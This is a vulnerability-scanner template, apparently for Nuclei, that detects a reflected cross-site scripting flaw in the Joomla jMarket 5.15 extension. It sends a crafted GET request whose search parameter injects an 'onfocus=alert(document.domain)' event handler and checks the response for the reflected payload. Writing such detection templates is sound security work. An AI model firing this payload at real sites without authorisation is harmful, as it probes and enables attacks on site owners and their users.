id: joomla-jmarket-xss

info:
  name: Joomla jMarket 5.15 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://packetstormsecurity.com/files/168581/Joomla-jMarket-5.15-Cross-Site-Scripting.html
    - https://cxsecurity.com/issue/WLB-2022100002
    - https://extensions.joomla.org/
  classification:
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
  tags: packetstorm,xss,packetstrom,joomla,jmarket,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs[x][search]=gx3vt%20onfocus=alert(document.domain)%20autofocus=%20itkrzsug7w5"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "onfocus=alert(document.domain) autofocus=", "catalog-results", "joomla")'
        condition: and
# digest: 490a004630440220509fffafb3798e00ca9ae07a0569a39db52fe255ff14f9bb6d60dba50f081f2e02204ce547489115cb8c3f16bbac1705f60939670598055d9a197e88f18f2994de85:922c64590222798bb761d5b6d8e72950